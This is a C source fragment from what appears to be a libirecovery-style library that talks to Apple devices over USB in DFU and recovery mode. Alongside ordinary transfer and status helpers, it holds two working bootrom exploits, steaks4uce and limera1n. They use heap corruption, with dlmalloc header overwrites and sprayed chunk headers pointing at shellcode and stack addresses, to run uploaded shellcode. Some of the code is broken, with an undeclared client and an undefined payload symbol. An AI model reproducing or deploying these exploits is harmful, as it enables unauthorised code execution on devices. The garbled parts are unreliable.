irecv_error_t irecv_reset_counters(irecv_client_t client) { if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; if (client->mode == kDfuMode) { irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000); } return IRECV_E_SUCCESS; }
irecv_error_t irecv_getenv(irecv_client_t client, const char* variable, char** value) { int ret = 0; char command[256]; if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; *value = NULL; if(variable == NULL) { return IRECV_E_UNKNOWN_ERROR; } memset(command, '\0', sizeof(command)); snprintf(command, sizeof(command)-1, "getenv %s", variable); irecv_error_t error = irecv_send_command_raw(client, command); if(error == IRECV_E_PIPE) { return IRECV_E_SUCCESS; } if(error != IRECV_E_SUCCESS) { return error; } char* response = (char*) malloc(256); if (response == NULL) { return IRECV_E_OUT_OF_MEMORY; } memset(response, '\0', 256); ret = irecv_control_transfer(client, 0xC0, 0, 0, 0, (unsigned char*) response, 255, 1000); *value = response; return IRECV_E_SUCCESS; }
int irecv_get_string_descriptor_ascii(irecv_client_t client, uint8_t desc_index, unsigned char * buffer, int size) { #ifndef WIN32 return libusb_get_string_descriptor_ascii(client->handle, desc_index, buffer, size); #else irecv_error_t ret; unsigned short langid = 0; unsigned char data[255]; int di, si; memset(data, 0, sizeof(data)); memset(buffer, 0, size); ret = irecv_control_transfer(client, 0x80, 0x06, (0x03 << 8) | desc_index, langid, data, sizeof(data), 1000); if (ret < 0) return ret; if (data[1] != 0x03) return IRECV_E_UNKNOWN_ERROR; if (data[0] > ret) return IRECV_E_UNKNOWN_ERROR; for (di = 0, si = 2; si < data[0]; si += 2) { if (di >= (size - 1)) break; if (data[si + 1]) { /* high byte */ buffer[di++] = '?'; } else { buffer[di++] = data[si]; } } buffer[di] = 0; return di; #endif }
irecv_error_t irecv_send_exploit(irecv_client_t client) { if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; irecv_control_transfer(client, 0x21, 2, 0, 0, NULL, 0, 1000); return IRECV_E_SUCCESS; }
static irecv_error_t irecv_send_command_raw(irecv_client_t client, char* command) { unsigned int length = strlen(command); if (length >= 0x100) { length = 0xFF; } if (length > 0) { int ret = irecv_control_transfer(client, 0x40, 0, 0, 0, (unsigned char*) command, length + 1, 1000); } return IRECV_E_SUCCESS; }
irecv_error_t irecv_finish_transfer(irecv_client_t client) { int i = 0; unsigned int status = 0; if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; irecv_control_transfer(client, 0x21, 1, 0, 0, 0, 0, 1000); for(i = 0; i < 3; i++){ irecv_get_status(client, &status); } irecv_reset(client); return IRECV_E_SUCCESS; }
irecv_error_t irecv_recv_buffer(irecv_client_t client, char *buffer, unsigned long length) { int recovery_mode = (client->mode != kDfuMode); int packet_size, last, packets; int i = 0; int bytes = 0; unsigned long count = 0; if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; packet_size = recovery_mode ? 0x2000 : 0x800; last = length % packet_size; packets = length / packet_size; if (last != 0) { packets++; } else { last = packet_size; } for (i = 0; i < packets; i++) { unsigned short size = (i + 1) < packets ? packet_size : last; bytes = irecv_control_transfer(client, 0xA1, 2, 0, 0, (unsigned char *)&buffer[i * packet_size], size, 1000); if (bytes != size) { return IRECV_E_USB_UPLOAD; } count += size; if (client->progress_callback != NULL) { irecv_event_t event; event.progress = ((double)count / (double)length) * 100.0; event.type = IRECV_PROGRESS; event.data = "Downloading"; event.size = count; client->progress_callback(client, &event); } else { DPRINT("Sent: %d bytes - %lu of %lu\n", bytes, count, length); } } return IRECV_E_SUCCESS; }
irecv_error_t irecv_getret(irecv_client_t client, unsigned int* value) { int ret = 0; if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; *value = 0; char* response = (char*) malloc(256); if (response == NULL) { return IRECV_E_OUT_OF_MEMORY; } memset(response, '\0', 256); ret = irecv_control_transfer(client, 0xC0, 0, 0, 0, (unsigned char*) response, 255, 1000); *value = (unsigned int) *response; return IRECV_E_SUCCESS; }
irecv_error_t irecv_get_status(irecv_client_t client, unsigned int* status) { if (check_context(client) != IRECV_E_SUCCESS) { *status = 0; return IRECV_E_NO_DEVICE; } unsigned char buffer[6]; memset(buffer, '\0', 6); if (irecv_control_transfer(client, 0xA1, 3, 0, 0, buffer, 6, 1000) != 6) { *status = 0; return IRECV_E_USB_STATUS; } *status = (unsigned int) buffer[4]; return IRECV_E_SUCCESS; }
irecv_error_t irecv_send_buffer(irecv_client_t client, unsigned char* buffer, unsigned long length, int dfuNotifyFinished) { irecv_error_t error = 0; int recovery_mode = (client->mode != kDfuMode); if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; int packet_size = 0x800; int last = length % packet_size; int packets = length / packet_size; if (last != 0) { packets++; } else { last = packet_size; } /* initiate transfer */ if (recovery_mode) { error = irecv_control_transfer(client, 0x41, 0, 0, 0, NULL, 0, 1000); } else { error = irecv_control_transfer(client, 0x21, 4, 0, 0, NULL, 0, 1000); } if (error != IRECV_E_SUCCESS) { return error; } int i = 0; double progress = 0; unsigned long count = 0; unsigned int status = 0; int bytes = 0; for (i = 0; i < packets; i++) { int size = (i + 1) < packets ? packet_size : last; /* Use bulk transfer for recovery mode and control transfer for DFU and WTF mode */ if (recovery_mode) { error = irecv_bulk_transfer(client, 0x04, &buffer[i * packet_size], size, &bytes, 1000); } else { bytes = irecv_control_transfer(client, 0x21, 1, 0, 0, &buffer[i * packet_size], size, 1000); } if (bytes != size) { return IRECV_E_USB_UPLOAD; } if (!recovery_mode) { error = irecv_get_status(client, &status); } if (error != IRECV_E_SUCCESS) { return error; } if (!recovery_mode && status != 5) { return IRECV_E_USB_UPLOAD; } count += size; if(client->progress_callback != NULL) { irecv_event_t event; event.progress = ((double) count/ (double) length) * 100.0; event.type = IRECV_PROGRESS; event.data = "Uploading"; event.size = count; client->progress_callback(client, &event); } else { debug("Sent: %d bytes - %lu of %lu\n", bytes, count, length); } } if (dfuNotifyFinished && !recovery_mode) { irecv_control_transfer(client, 0x21, 1, 0, 0, (unsigned char*) buffer, 0, 1000); for (i = 0; i < 3; i++) { error = irecv_get_status(client, &status); if (error != IRECV_E_SUCCESS) { return error; } } irecv_reset(client); } return IRECV_E_SUCCESS; }
int steaks4uce_exploit() { irecv_error_t error = IRECV_E_SUCCESS; int i, ret; unsigned char data[0x800]; unsigned char payload[] = { /* free'd buffer dlmalloc header: */ 0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk 0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk /* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */ 0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction 0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer 0xff, 0xff, 0xff, 0xff, // 0x10: (0x08) 0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (filled by the code just after) 0x00, 0x01, 0x00, 0x00, // 0x18: (0x10) 0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14) 0x00, 0x00, 0x00, 0x00, // 0x20: (0x18) 0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c) /* attack dlmalloc header: */ 0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk 0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-) 0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start() //0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack 0xfc, 0xd7, 0x02, 0x22, // 0x34: BK : exception_irq() LR in stack }; //info("Executing steaks4uce exploit ...\n"); //debug("Reseting usb counters.\n"); ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000); if (ret < 0) { error("Failed to reset usb counters.\n"); return -1; } //debug("Padding to 0x23800...\n"); memset(data, 0, 0x800); for(i = 0; i < 0x23800 ; i+=0x800) { ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000); if (ret < 0) { error("Failed to push data to the device.\n"); return -1; } } //debug("Uploading shellcode.\n"); memset(data, 0, 0x800); memcpy(data, steaks4uce_payload, sizeof(steaks4uce_payload)); ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000); if (ret < 0) { error("Failed to upload shellcode.\n"); return -1; } //debug("Reseting usb counters.\n"); ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000); if (ret < 0) { error("Failed to reset usb counters.\n"); return -1; } int send_size = 0x100 + sizeof(payload); *((unsigned int*) &payload[0x14]) = send_size; memset(data, 0, 0x800); memcpy(&data[0x100], payload, sizeof(payload)); ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, send_size , 1000); if (ret < 0) { error("Failed to send steaks4uce to the device.\n"); return -1; } ret = irecv_control_transfer(client, 0xA1, 1, 0, 0, data, send_size , 1000); if (ret < 0) { error("Failed to execute steaks4uce.\n"); return -1; } info("Successfully exploited with steaks4uce!\n"); // debug("Reconnecting to device\n"); client = irecv_reconnect(client, 2); if (client == NULL) { debug("%s\n", irecv_strerror(error)); error("Unable to reconnect to the device\n"); return -1; } return 0; }
int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client) { irecv_error_t error = IRECV_E_SUCCESS; unsigned int i = 0; unsigned char buf[0x800]; unsigned char shellcode[0x800]; unsigned int max_size = 0x24000; //unsigned int load_address = 0x84000000; unsigned int stack_address = 0x84033F98; unsigned int shellcode_address = 0x84023001; unsigned int shellcode_length = 0; if (device->chip_id == 8930) { max_size = 0x2C000; stack_address = 0x8403BF9C; shellcode_address = 0x8402B001; } if (device->chip_id == 8920) { max_size = 0x24000; stack_address = 0x84033FA4; shellcode_address = 0x84023001; } memset(shellcode, 0x0, 0x800); shellcode_length = sizeof(limera1n_payload); memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload)); debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("%s\n", irecv_strerror(error)); return -1; } memset(buf, 0xCC, 0x800); for(i = 0; i < 0x800; i += 0x40) { unsigned int* heap = (unsigned int*)(buf+i); heap[0] = 0x405; heap[1] = 0x101; heap[2] = shellcode_address; heap[3] = stack_address; } debug("Sending chunk headers\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); memset(buf, 0xCC, 0x800); for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) { irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); } debug("Sending exploit payload\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000); debug("Sending fake data\n"); memset(buf, 0xBB, 0x800); irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10); //debug("Executing exploit\n"); irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000); irecv_reset(client); irecv_finish_transfer(client); debug("Exploit sent\n"); debug("Reconnecting to device\n"); client = irecv_reconnect(client, 7); if (client == NULL) { debug("%s\n", irecv_strerror(error)); error("Unable to reconnect\n"); return -1; } return 0; }